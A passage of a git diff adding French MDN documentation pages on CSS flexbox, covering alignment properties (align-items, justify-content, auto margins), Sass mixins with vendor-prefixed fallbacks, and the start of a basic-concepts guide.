Si on utilise flex-direction avec une des valeurs inversée, les éléments seront organisés dans l'ordre inverse (à l'opposé de la disposition naturelle de la langue utilisée pour le document). flex-start correspondra alors à la « fin » usuelle d'une ligne de texte sur une disposition en ligne et au dernier paragraphe sur une disposition organisée sur un axe principal vertical.

- -

Un diagramme illustrant la ligne de début à droite et celle de fin à gauche

- -

Un diagramme illustrant la ligne de début en bas et celle de fin en haut

- -

Utiliser les marges automatiques pour aligner sur l'axe principal

- -

Il n'existe pas de propriété justify-items ou justify-self qui permettent d'aligner un élément donné parmi le groupe d'éléments flexibles organisés sur l'axe principal. Toutefois, on peut obtenir un alignement individuel pour séparer un élément ou un groupe d'éléments grâce aux marges automatiques et aux boîtes flexibles.

- -

Un motif fréquent est l'organisation d'une barre de navigation où certains éléments clés sont situés à droite alors qu'un groupe principal est présent à gauche. On pourrait alors penser qu'il s'agit d'un cas d'utilisation pour une propriété comme justify-self… Cependant, si on regarde l'image qui suit et qu'on était capable de modifier justify-self sur l'élément d, cela changerait également l'alignement de l'élément e qui suit, ce qui pourrait ou non être voulu.

- -

Cinq objets répartis en deux groupes. Trois sont situés à gauche et deux sont situés à droite.

- -

Plutôt que cela, on peut cibler le quatrième élément et le séparer des trois premiers en utilisant margin-left: auto. Une marge automatique consommera tout l'espace disponible sur l'axe correspondant.

- -

Dans l'exemple qui suit, on a plusieurs éléments flexibles organisés sur une ligne avec les valeurs de base pour les propriétés liées aux boîtes flexibles. La classe push possède la déclaration margin-left: auto. Vous pouvez observer l'effet obtenu en retirant cette classe ou en l'appliquant à un autre élément.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

- -

Les prochaines fonctionnalités pour l'alignement et les boîtes flexibles

- -

Au début de cet article, nous avons vu que les propriétés d'alignement actuellement définies dans le module de spécification CSS de niveau 1 pour les boîtes flexibles étaient également définies dans le module de spécification de niveau 3 pour l'alignement des boîtes. Ce module pourrait voir l'apparition de nouvelles valeurs pour ces propriétés comme le montre d'ailleurs l'introduction de la valeur space-evenly pour les propriétés align-content et justify-content.

- -

Le module de spécification sur l'alignement des boîtes inclut également d'autres méthodes pour créer des espaces entre les objets telles que les propriétés column-gap et row-gap décrites dans le module de grille CSS (CSS Grid). L'inclusion de ces propriétés dans le module d'alignement des boîtes signifie que nous pourrons plus tard les utiliser dans les dispositions avec les boîtes flexibles. Cela signifie qu'il ne sera plus nécessaire d'utiliser des marges afin d'espacer des éléments flexibles. Firefox 63 devrait implémenter les propriétés gap pour les dispositions flexibles.

- -

Lorsque vous explorez les différentes méthodes d'alignement relatives aux boîtes flexibles, n'hésitez pas à étudier ce qui est disponible avec une disposition en grille (CSS Grid Layout). En effet, ces deux spécifications utilisent les propriétés d'alignement qui sont désormais détaillées dans la spécification sur l'alignement des boîtes. Vous pouvez en savoir plus sur le fonctionnement de ces propriétés sur une grille grâce à cet article. Une page récapitulative (en anglais) est également disponible pour comparer le fonctionnement de l'alignement par rapport à ces différentes spécifications : Box Alignment Cheatsheet.

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/fr/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html new file mode 100644 index 0000000000..2321587479 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -0,0 +1,218 @@ +--- +title: Aligner des éléments dans un conteneur flexible +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_éléments_dans_un_conteneur_flexible +tags: + - CSS + - Flex + - Guide + - Web + - flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container +--- +

{{CSSRef}}

+ +

Une des raisons qui ont poussé à l'adoption des boîtes flexibles est la présence d'outils d'alignement enfin corrects pour le Web. On pouvait ainsi enfin centrer une boîte sur un axe vertical. Dans ce guide, nous verrons dans le détail comment fonctionnent les propriétés d'alignement et de justification relatives aux boîtes flexibles.

+ +

Afin de centrer notre boîte, nous allons utiliser la propriété align-items afin d'aligner l'objet sur l'axe secondaire (cross axis en anglais). Dans notre exemple, cet axe est l'axe de bloc et est orienté verticalement. La propriété justify-content est quant à elle utilisée pour aligner l'objet sur l'axe principal (main axis en anglais) (ici l'axe principal est l'axe en ligne qui s'étend horizontalement).

+ +

Un élément contenant une autre boîte centrée à l'intérieur

+ +

 

+ +

Vous pouvez étudier le code de l'exemple suivant et modifier la taille du conteneur ou d'un élément imbriqué : l'élément imbriqué sera toujours centré.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

+ +

Les propriétés responsables de l'alignement

+ +

Voici les propriétés que nous étudierons dans ce guide :

+ +
    +
  • {{cssxref("justify-content")}} — contrôle l'alignement de tous les objets sur l'axe principal.
    • +
  • {{cssxref("align-items")}} — contrôle l'alignement de tous les objets sur l'axe secondaire.
    • +
  • {{cssxref("align-self")}} — contrôle l'alignement d'un objet flexible donné le long de l'axe secondaire.
    • +
  • {{cssxref("align-content")}} — contrôle l'espace entre les lignes flexibles sur l'axe secondaire.
    • +
+ +

Nous verrons également comment les marges automatiques peuvent être utilisées dans l'alignement des boîtes flexibles.

+ +
+

Note : Les propriétés d'alignement du module de spécification CSS Flexbox ont été placés dans leur propre spécification : CSS Box Alignment Level 3. Cette dernière remplacera à terme les propriétés définies dans le module Flexbox de niveau 1.

+
+ +

L'axe secondaire (cross axis)

+ +

Les propriétés align-items et align-self permettent de gérer l'alignement des éléments flexibles sur l'axe secondaire.

+ +

Prenons un exemple simple : nous ajoutons display: flex à un conteneur qui contient trois objets. Tous s'étirent afin d'être aussi grands que le plus grand des éléments car celui-ci définit la taille du conteneur sur l'axe secondaire. Si le conteneur flexible possède une hauteur définie, les objets qu'il contient s'étireront pour atteindre cette taille, quel que soit le contenu dont ils disposent.

+ +

Trois objets dont un avec un texte plus long qui le rend plus grand que les autres

+ +

Trois objets étirés pour mesurer 200 pixels de haut

+ +

Les éléments obtiennent la même hauteur à cause de la valeur initiale de align-items qui contrôle l'alignement sur l'axe secondaire. Cette valeur initiale est stretch (qui indique que les objets du conteneur doivent être étirés sur l'axe).

+ +

Voici les valeurs disponibles pour aligner les objets :

+ +
    +
  • align-items: flex-start
    • +
  • align-items: flex-end
    • +
  • align-items: center
    • +
  • align-items: stretch
    • +
  • align-items: baseline
    • +
+ +

Dans l'exemple qui suit, la valeur d'align-items est stretch. Vous pouvez essayer les autres valeurs afin de voir comment les objets s'alignent dans le conteneur.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

+ +

Aligner un objet avec align-self

+ +

La propriété align-items définit la valeur de la propriété align-self pour l'ensemble des objets flexibles. Cela signifie qu'on peut utiliser la propriété align-self de façon explicite, sur un élément donné, afin de préciser son alignement. La propriété align-self prend en charge les mêmes valeurs que align-items ainsi qu'un mot-clé auto qui reprendra la valeur définie sur le conteneur flexible.

+ +

Dans le prochain exemple, le conteneur flexible a align-items: flex-start, ce qui signifie que les éléments sont tous alignés au début de l'axe secondaire. On utilise le sélecteur first-child afin de cibler le premier élément fils pour lequel on indique align-self: stretch ; un autre élément a été sélectionné via la classe selected et est paramétré avec align-self: center. Vous pouvez modifier la valeur de align-items ou changer les valeurs d'align-self sur les éléments afin d'observer le fonctionnement.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

+ +

Changer d'axe principal

+ +

Jusqu'à présent, les exemples fonctionnaient avec flex-direction valant row et avec un langage dont les lignes progressent du haut vers le bas. Cela signifie que l'axe principal est une ligne horizontale et que l'axe secondaire est une ligne verticale dirigée vers le bas.

+ +

Trois objets, le premier aligné avec flex-start, le deuxième avec center et le troisième avec flex-end. Alignement sur l'axe vertical..

+ +

Si on passe flex-direction à column, align-items et align-self aligneront les éléments à gauche et à droite.

+ +

Trois éléments, le premier aligné avec flex-start, le deuxième avec center et le troisième avec flex-end. Alignement sur l'axe horizontal.

+ +

Vous pouvez manipuler cet exemple qui reprend le même code que l'exemple précédent avec la seule exception que flex-direction vaut ici column.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}}

+ +

Aligner le contenu sur l'axe secondaire : align-content

+ +

Jusqu'à présent, nous avons aligné les éléments ou un élément donné dans la zone définie par le conteneur flexible. Si on a un conteneur qui s'étend / se divise sur plusieurs lignes, on pourra utiliser la propriété align-content afin de contrôler la distribution de l'espace entre les lignes. La spécification décrit cela comme le groupement des lignes flexibles.

+ +

Afin qu'align-content puisse fonctionner, il faut un conteneur dont la hauteur est supérieure à celle qui est nécessaire à l'affichage des éléments. Le moteur applique alors les règles sur l'ensemble des éléments et régit l'utilisation de l'espace restant et l'alignement de l'ensemble dans cet espace.

+ +

La propriété align-content prend les valeurs suivantes :

+ +
    +
  • align-content: flex-start
    • +
  • align-content: flex-end
    • +
  • align-content: center
    • +
  • align-content: space-between
    • +
  • align-content: space-around
    • +
  • align-content: stretch
    • +
  • align-content: space-evenly (cette valeur n'est pas définie dans le module de spécification Flexbox)
    • +
+ +

Dans l'exemple suivant, le conteneur flexible a une hauteur de 400 pixels, ce qui est supérieur à ce qui est nécessaire pour afficher le contenu. align-content vaut space-between ce qui signifie que l'espace disponible sera réparti entre les lignes flexibles dont la première commence en étant adjacente à la ligne de début et dont la dernière est adjacente à la ligne de fin de l'axe secondaire.

+ +

Vous pouvez modifier la valeur de align-content afin d'observer comment cette propriété fonctionne.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

+ +

Là encore, on peut passer avec flex-direction: column afin de voir comment les propriétés se comportent sur les colonnes. Là aussi, il faut suffisamment d'espace le long de l'axe secondaire afin qu'il y ait de l'espace libre à répartir.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

+ +
+

Note : La valeur space-evenly n'est pas définie dans la spécification relative aux boîtes flexibles et a été dernièrement ajoutée à la spécification sur l'alignement des boîtes. Cette valeur est donc moins prise en charge par les navigateurs que les autres mots-clés.

+
+ +

Vous pouvez consulter la documentation sur {{cssxref("align-content")}} pour en savoir plus, notamment sur la compatibilité des navigateurs.

+ +

Aligner le contenu sur l'axe principal

+ +

Nous avons pu voir comment fonctionne l'alignement sur l'axe secondaire. Concentrons-nous désormais sur l'alignement relatif à l'axe principal. Ici, une seule propriété est disponible : justify-content. En effet, sur cet axe, les éléments sont gérés comme un seul groupe. Avec, justify-content on contrôle comment l'espace disponible est réparti s'il y a plus d'espace que nécessaire pour afficher les objets.

+ +

Dans l'exemple initial avec display: flex appliqué au conteneur, les éléments formaient une ligne qui commençait au début du conteneur. Cela provient de la valeur initiale de justify-content qui est flex-start. Avec cette valeur, tout l'espace disponible est placé à la fin, après les éléments.

+ +

Trois éléments, chacun mesurant 100 pixels de large dans un conteneur de 500 pixels de large. L'espace disponible restant se situe après les éléments.

+ +

La propriété justify-content prend en charge les mêmes valeurs que align-content.

+ +
    +
  • justify-content: flex-start
    • +
  • justify-content: flex-end
    • +
  • justify-content: center
    • +
  • justify-content: space-between
    • +
  • justify-content: space-around
    • +
  • justify-content: stretch
    • +
  • justify-content: space-evenly (ce mot-clé n'est pas défini dans la spécification CSS sur les boîtes flexibles)
    • +
+ +

Dans le prochain exemple, justify-content vaut space-between. L'espace disponible après l'affichage des éléments est alors distribué entre les éléments et le premier élément est adjacent à la ligne de début et le dernier est adjacent à la ligne de fin.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

+ +

Si l'axe principal suit la direction de bloc (orthogonale au sens d'écriture) car flex-direction est paramétré avec la valeur column, justify-content distribuera l'espace selon cet axe tant que l'espace du conteneur flexible est suffisant.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}}

+ +

L'alignement et les modes d'écriture

+ +

Rappelons ici qu'avec ces méthodes d'alignement, flex-start et flex-end respectent le mode d'écriture utilisé. Si on utilise justify-content avec la valeur start pour un contenu écrit en anglais (un mode d'écriture de la gauche vers la droite), les éléments commenceront à gauche du conteneur.

+ +

Trois éléments alignés sur la gauche

+ +

Mais si le contenu est écrit en arabe (un mode d'écriture de la droite vers la gauche), les éléments démarreront à la droite du conteneur.

+ +

Trois éléments alignés sur la droite

+ +

Dans l'exemple qui suit, on indique explicitement la valeur rtl pour la propriété display afin de forcer un mode d'écriture de droite à gauche. Vous pouvez retirer cette déclaration ou modifier la valeur de justify-content afin de voir comment les boîtes flexibles s'organisent lorsque le début de la ligne est à droite.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

+ +

L'alignement et la propriété flex-direction

+ +

La ligne de début sera également modifiée si on change la valeur de la propriété flex-direction, par exemple en utilisant row-reverse à la place de row.

+ +

Dans le prochain exemple, on utilise flex-direction: row-reverse et justify-content: flex-end. Pour une langue écrite de gauche à droite, les éléments seront regroupés à gauche. Si vous modifiez les valeurs et passez de flex-direction: row-reverse à flex-direction: row. Vous verrez que les éléments sont désormais groupés à droite.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

+ +

Si cela peut paraître déroutant, la règle principale à mémoriser est que, par défaut, si on ne change rien, les éléments flexibles sont organisés dans la direction naturelle de la langue dans laquelle le document est écrit. flex-start correspondra donc à la ligne de début depuis laquelle une phrase démarrerait.

+ +

Un diagramme illustrant la ligne de début à gauche et la ligne de fin à droite

+ +

On peut changer l'axe avec flex-direction: column. Dans ce cas, flex-start correspondra à l'emplacement du début du premier paragraphe d'un texte.

+ +

Un diagramme illustrant la ligne de début en haut et la ligne de fin en bas

+ +

Si on utilise flex-direction avec une des valeurs inversée, les éléments seront organisés dans l'ordre inverse (à l'opposé de la disposition naturelle de la langue utilisée pour le document). flex-start correspondra alors à la « fin » usuelle d'une ligne de texte sur une disposition en ligne et au dernier paragraphe sur une disposition organisée sur un axe principal vertical.

+ +

Un diagramme illustrant la ligne de début à droite et celle de fin à gauche

+ +

Un diagramme illustrant la ligne de début en bas et celle de fin en haut

+ +

Utiliser les marges automatiques pour aligner sur l'axe principal

+ +

Il n'existe pas de propriété justify-items ou justify-self qui permettent d'aligner un élément donné parmi le groupe d'éléments flexibles organisés sur l'axe principal. Toutefois, on peut obtenir un alignement individuel pour séparer un élément ou un groupe d'éléments grâce aux marges automatiques et aux boîtes flexibles.

+ +

Un motif fréquent est l'organisation d'une barre de navigation où certains éléments clés sont situés à droite alors qu'un groupe principal est présent à gauche. On pourrait alors penser qu'il s'agit d'un cas d'utilisation pour une propriété comme justify-self… Cependant, si on regarde l'image qui suit et qu'on était capable de modifier justify-self sur l'élément d, cela changerait également l'alignement de l'élément e qui suit, ce qui pourrait ou non être voulu.

+ +

Cinq objets répartis en deux groupes. Trois sont situés à gauche et deux sont situés à droite.

+ +

Plutôt que cela, on peut cibler le quatrième élément et le séparer des trois premiers en utilisant margin-left: auto. Une marge automatique consommera tout l'espace disponible sur l'axe correspondant.

+ +

Dans l'exemple qui suit, on a plusieurs éléments flexibles organisés sur une ligne avec les valeurs de base pour les propriétés liées aux boîtes flexibles. La classe push possède la déclaration margin-left: auto. Vous pouvez observer l'effet obtenu en retirant cette classe ou en l'appliquant à un autre élément.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

+ +

Les prochaines fonctionnalités pour l'alignement et les boîtes flexibles

+ +

Au début de cet article, nous avons vu que les propriétés d'alignement actuellement définies dans le module de spécification CSS de niveau 1 pour les boîtes flexibles étaient également définies dans le module de spécification de niveau 3 pour l'alignement des boîtes. Ce module pourrait voir l'apparition de nouvelles valeurs pour ces propriétés comme le montre d'ailleurs l'introduction de la valeur space-evenly pour les propriétés align-content et justify-content.

+ +

Le module de spécification sur l'alignement des boîtes inclut également d'autres méthodes pour créer des espaces entre les objets telles que les propriétés column-gap et row-gap décrites dans le module de grille CSS (CSS Grid). L'inclusion de ces propriétés dans le module d'alignement des boîtes signifie que nous pourrons plus tard les utiliser dans les dispositions avec les boîtes flexibles. Cela signifie qu'il ne sera plus nécessaire d'utiliser des marges afin d'espacer des éléments flexibles. Firefox 63 devrait implémenter les propriétés gap pour les dispositions flexibles.

+ +

Lorsque vous explorez les différentes méthodes d'alignement relatives aux boîtes flexibles, n'hésitez pas à étudier ce qui est disponible avec une disposition en grille (CSS Grid Layout). En effet, ces deux spécifications utilisent les propriétés d'alignement qui sont désormais détaillées dans la spécification sur l'alignement des boîtes. Vous pouvez en savoir plus sur le fonctionnement de ces propriétés sur une grille grâce à cet article. Une page récapitulative (en anglais) est également disponible pour comparer le fonctionnement de l'alignement par rapport à ces différentes spécifications : Box Alignment Cheatsheet.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html new file mode 100644 index 0000000000..652541e0c1 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -0,0 +1,369 @@ +--- +title: Mises en page avancées avec les boîtes flexibles +slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins +tags: + - CSS + - Reference + - flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins +--- +
{{CSSRef}}
+ +

Voici un ensemble de mixins pour vous permettre de bidouiller avec les boîtes flexibles grâce au support natif des navigateurs actuels.

+ +

Dans ces mixins, on utilisera :

+ +
    +
  • Des fallbacks avec l'ancienne syntaxe 'box' (Firefox et les anciens WebKit) et les syntaxes préfixées (IE10, les navigateurs WebKit sans ajout de flex)
    • +
  • La syntaxe finale standard (Firefox, Safari, Chrome, IE11, Opera)
    • +
+ +

Ces mixins ont été inspirés par : https://dev.opera.com/articles/view/advanced-cross-browser-flexbox/

+ +

Et les articles suivants ont été d'une aide précieuse :

+ + + +
+

Note : Actuellement, les mixins ne sont pas pris en charge nativement par les navigateurs. Il faut utiliser un pré-processeur CSS afin de tirer parti des techniques suivantes. Cependant, les pré-processeurs ne font que générer du code CSS valide et on pourra donc appliquer les techniques précédentes en utilisant du « pur » CSS si on le souhaite.

+
+ +

Les conteneurs flexibles

+ +

En utilisant la valeur flex pour la propriété {{cssxref("display")}}, on génère une boîte pour un conteneur flexible de bloc. La valeur inline-flex permet quant à elle de générer un conteneur flexible en ligne (inline).

+ + + +
+
@mixin flexbox {
+  display: -webkit-box;
+  display: -moz-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}
+
+// Exemple d'utilisation
+%flexbox { @include flexbox; }
+
+ +
+
@mixin inline-flex {
+  display: -webkit-inline-box;
+  display: -moz-inline-box;
+  display: -webkit-inline-flex;
+  display: -ms-inline-flexbox;
+  display: inline-flex;
+}
+
+%inline-flex { @include inline-flex; }
+
+ +

Direction des boîtes flexibles

+ +

La propriété {{cssxref("flex-direction")}} indique la façon dont les objets flexibles sont organisés dans le conteneur flexible en définissant la direction principale du conteneur. Autrement dit, elle détermine la direction selon laquelle les éléments flexibles sont disposés.

+ +
    +
  • Valeurs possibles : row (la valeur par défaut)| row-reverse | column | column-reverse
    • +
  • Spécification
    • +
+ +
+
@mixin flex-direction($value: row) {
+  @if $value == row-reverse {
+    -webkit-box-direction: reverse;
+    -webkit-box-orient: horizontal;
+    -moz-box-direction: reverse;
+    -moz-box-orient: horizontal;
+  } @else if $value == column {
+    -webkit-box-direction: normal;
+    -webkit-box-orient: vertical;
+    -moz-box-direction: normal;
+    -moz-box-orient: vertical;
+  } @else if $value == column-reverse {
+    -webkit-box-direction: reverse;
+    -webkit-box-orient: vertical;
+    -moz-box-direction: reverse;
+    -moz-box-orient: vertical;
+  } @else {
+    -webkit-box-direction: normal;
+    -webkit-box-orient: horizontal;
+    -moz-box-direction: normal;
+    -moz-box-orient: horizontal;
+  }
+  -webkit-flex-direction: $value;
+  -ms-flex-direction: $value;
+  flex-direction: $value;
+}
+
+// Version plus courte :
+@mixin flex-dir($args...) { @include flex-direction($args...); }
+
+ +

flex-wrap

+ +

La propriété {{cssxref("flex-wrap")}} permet de contrôler si le conteneur flexible s'étend sur une ou sur un plusieurs lignes ainsi que la direction de l'axe secondaire (qui définit la direction dans laquelle les lignes sont « empilées »).

+ +
    +
  • Valeurs possibles : nowrap (la valeur par défaut)| wrap | wrap-reverse
    • +
  • Spécification
    • +
+ +
+
@mixin flex-wrap($value: nowrap) {
+  // No Webkit/FF Box fallback.
+  -webkit-flex-wrap: $value;
+  @if $value == nowrap {
+    -ms-flex-wrap: none;
+  } @else {
+    -ms-flex-wrap: $value;
+  }
+  flex-wrap: $value;
+}
+
+ +

flex-flow

+ +

La propriété {{cssxref("flex-flow")}} est une propriété raccourcie pour définir flex-direction et flex-wrap qui permettent respectivement de définir l'axe principal et l'axe secondaire.

+ +
    +
  • Valeur par défaut : row (la valeur par défaut)| nowrap
    • +
  • Spécification
    • +
+ +
+
@mixin flex-flow($values: (row nowrap)) {
+  // No Webkit/FF Box fallback.
+  -webkit-flex-flow: $values;
+  -ms-flex-flow: $values;
+  flex-flow: $values;
+}
+
+ +

order

+ +

La propriété {{cssxref("order")}}  contrôle l'ordre dans lequel les éléments apparaissent dans le conteneur flexible en les affectant à des groupes ordinaux.

+ +
    +
  • Valeur : un entier ({{cssxref("<integer>")}} (0 est la valeur par défaut)
    • +
  • Spécification
    • +
+ +
+
@mixin order($int: 0) {
+  -webkit-box-ordinal-group: $int + 1;
+  -moz-box-ordinal-group: $int + 1;
+  -webkit-order: $int;
+  -ms-flex-order: $int;
+  order: $int;
+}
+
+ +

flex-grow

+ +

La propriété {{cssxref("flex-grow")}} définit le facteur d'expansion flexible. Les nombres négatifs ne sont pas autorisés.

+ +
    +
  • Valeur : un entier ({{cssxref("<integer>")}} (1 est la valeur par défaut)
    • +
  • Spécification
    • +
+ +
+
@mixin flex-grow($int: 1) {
+  -webkit-box-flex: $int;
+  -moz-box-flex: $int;
+  -webkit-flex-grow: $int;
+  -ms-flex: $int;
+  flex-grow: $int;
+}
+
+ +

flex-shrink

+ +

La propriété {{cssxref("flex-shrink")}} permet de définir le facteur de réduction des éléments flexibles. Les nombres négatifs ne sont pas autorisés.

+ +
    +
  • Valeur : un entier ({{cssxref("<integer>")}} (1 est la valeur par défaut)
    • +
  • Spécification
    • +
+ +
+
@mixin flex-shrink($int: 0) {
+  -webkit-flex-shrink: $int;
+  -moz-flex-shrink: $int;
+  -ms-flex: $int;
+  flex-shrink: $int;
+}
+
+ +

flex-basis

+ +

La propriété {{cssxref("flex-basis")}} permet de définir la longueur de base à partir de laquelle s'étendre ou se réduire. Les longueurs négatives ne sont pas autorisées.

+ +
    +
  • Valeurs : voir la page {{cssxref("flex-basis")}}, la valeur par défaut est auto.
    • +
  • Spécification
    • +
+ +
+
@mixin flex-basis($value: auto) {
+  -webkit-flex-basis: $value;
+  flex-basis: $value;
+}
+
+ +

flex

+ +

La propriété raccourcie {{cssxref("flex")}} permet de définir les composants d'une longueur flexible : le facteur d'expansion (flex-grow), le facteur de réduction (flex-shrink) et la longueur de base (flex-basis). Lorsqu'un élément est un élément flexible, c'est flex qui sera utilisée (plutôt que width ou height) afin de déterminer la taille de l'élément. Si l'élément n'est pas un objet flexible, flex n'aura aucun effet.

+ +
    +
  • Valeur : voir la page {{cssxref("flex")}} pour les valeurs possibles et la valeur par défaut
    • +
  • Spécification
    • +
+ +
+
@mixin flex($fg: 1, $fs: 0, $fb: auto) {
+
+  // Définir une variable pour l'utiliser
+  // avec les propriétés box-flex
+  $fg-boxflex: $fg;
+
+  // Box-Flex ne prend qu'une valeur, on prend donc
+  // la première valeur de la liste et on la renvoie.
+  @if type-of($fg) == 'list' {
+    $fg-boxflex: nth($fg, 1);
+  }
+
+  -webkit-box: $fg-boxflex;
+  -moz-box: $fg-boxflex;
+  -webkit-flex: $fg $fs $fb;
+  -ms-flex: $fg $fs $fb;
+  flex: $fg $fs $fb;
+}
+
+ +

justify-content

+ +

La propriété {{cssxref("justify-content")}} permet d'aligner les éléments flexibles le long de l'axe principal pour la ligne en cours dans le conteneur flexible. Cet alignement s'effectue après que les longueurs flexibles et les marges automatiques aient été résolues. Généralement, cela permet de distribuer l'espace restant entre les éléments d'une ligne qui ne sont pas flexibles ou qui ont atteint leur taille maximale. Cela contrôle également le comportement des éléments lorsqu'ils dépassent de la ligne.

+ +
+

Note : Les valeurs de la forme space-* ne sont pas prises en charge avec les anciennes syntaxes.

+
+ +
    +
  • Valeurs : flex-start (la valeur par défaut)| flex-end | center | space-between | space-around
    • +
  • Spécification
    • +
+ +
+
@mixin justify-content($value: flex-start) {
+  @if $value == flex-start {
+    -webkit-box-pack: start;
+    -moz-box-pack: start;
+    -ms-flex-pack: start;
+  } @else if $value == flex-end {
+    -webkit-box-pack: end;
+    -moz-box-pack: end;
+    -ms-flex-pack: end;
+  } @else if $value == space-between {
+    -webkit-box-pack: justify;
+    -moz-box-pack: justify;
+    -ms-flex-pack: justify;
+  } @else if $value == space-around {
+    -ms-flex-pack: distribute;
+  } @else {
+    -webkit-box-pack: $value;
+    -moz-box-pack: $value;
+    -ms-flex-pack: $value;
+  }
+  -webkit-justify-content: $value;
+  justify-content: $value;
+}
+  // Version plus courte :
+  @mixin flex-just($args...) { @include justify-content($args...); }
+
+ +

align-items

+ +

Les objets flexibles peuvent être alignés le long de l'axe secondaire (comme pour justify-content mais dans l'axe perpendiculaire). {{cssxref("align-items")}} définit l'alignement par défaut de tous les objets du conteneur flexible. align-self permet aux objets flexibles de surcharger cette valeur (pour les objets anonymes, align-self correspondra toujours à align-items).

+ +
    +
  • Valeurs : flex-start | flex-end | center | baseline | stretch (la valeur par défaut)
    • +
  • Spécification
    • +
+ +
+
@mixin align-items($value: stretch) {
+  @if $value == flex-start {
+    -webkit-box-align: start;
+    -moz-box-align: start;
+    -ms-flex-align: start;
+  } @else if $value == flex-end {
+    -webkit-box-align: end;
+    -moz-box-align: end;
+    -ms-flex-align: end;
+  } @else {
+    -webkit-box-align: $value;
+    -moz-box-align: $value;
+    -ms-flex-align: $value;
+  }
+  -webkit-align-items: $value;
+  align-items: $value;
+}
+
+ +

align-self

+ +
    +
  • Valeurs : auto (la valeur par défaut)| flex-start | flex-end | center | baseline | stretch
    • +
  • Spécification
    • +
+ +
+
@mixin align-self($value: auto) {
+  // No Webkit Box Fallback.
+  -webkit-align-self: $value;
+  @if $value == flex-start {
+    -ms-flex-item-align: start;
+  } @else if $value == flex-end {
+    -ms-flex-item-align: end;
+  } @else {
+    -ms-flex-item-align: $value;
+  }
+  align-self: $value;
+}
+
+ +

align-content

+ +

La propriété {{cssxref("align-content")}} permet d'aligner les lignes créées dans le conteneur flexible lorsqu'il reste de l'espace le long de l'axe secondaire. Cette propriété n'a aucun effet lorsqu'il n'y a qu'une seule ligne.

+ +
    +
  • Valeurs : flex-start | flex-end | center | space-between | space-around | stretch (la valeur par défaut)
    • +
  • Spécification
    • +
+ +
+
@mixin align-content($value: stretch) {
+  // No Webkit Box Fallback.
+  -webkit-align-content: $value;
+  @if $value == flex-start {
+    -ms-flex-line-pack: start;
+  } @else if $value == flex-end {
+    -ms-flex-line-pack: end;
+  } @else {
+    -ms-flex-line-pack: $value;
+  }
+  align-content: $value;
+}
+
diff --git a/files/fr/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html new file mode 100644 index 0000000000..dadea30a48 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -0,0 +1,235 @@ +--- +title: Les concepts de base pour flexbox +slug: Web/CSS/CSS_Flexible_Box_Layout/Concepts_de_base_flexbox +tags: + - Beginner + - CSS + - Débutant + - Guide + - flexbox +translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox +--- +
{{CSSRef}}
+ +

Le module des boîtes flexibles, aussi appelé « flexbox », a été conçu comme un modèle de disposition unidimensionnel et comme une méthode permettant de distribuer l'espace entre des objets d'une interface ainsi que de les aligner. Dans cet article, nous verrons les fonctionnalités principales des flexbox que nous approfondirons ensuite dans d'autres articles.

+ +

Lorsqu'on décrit les boîtes flexibles comme une méthode de disposition unidimensionnelle, on indique en fait que les flexbox gèrent une seule dimension à la fois : une ligne ou une colonne. Ce modèle est à comparer au modèle bidimensionnel de la disposition en grille (CSS Grid) qui contrôle à la fois les colonnes et les lignes.

+ +

Les deux axes des boîtes flexibles

+ +

Lorsqu'on travaille avec les boîtes flexibles, deux axes interviennent : l'axe principal (main axis en anglais) et l'axe secondaire (cross axis en anglais). L'axe principal est défini par la propriété {{cssxref("flex-direction")}} et l'axe secondaire est l'axe qui lui est perpendiculaire. Tout ce que nous manipulons avec les boîtes flexibles fera référence à ces axes.

+ +

L'axe principal

+ +

L'axe principal est défini par la propriété flex-direction qui peut prendre quatre valeurs :

+ +
    +
  • row
    • +
  • row-reverse
    • +
  • column
    • +
  • column-reverse
    • +
+ +

Si on choisit la valeur row ou row-reverse, l'axe principal sera aligné avec la direction « en ligne » (inline direction) (c'est la direction logique qui suit le sens d'écriture du document).

+ +

If flex-direction is set to row the main axis runs along the row in the inline direction.

+ +

Si on choisit la valeur column ou column-reverse, l'axe principal suivra la direction de bloc (block direction) et progressera le long de l'axe perpendiculaire au sens d'écriture.

+ +

If flex-direction is set to column the main axis runs in the block direction.

+ +

L'axe secondaire (cross axis)

+ +

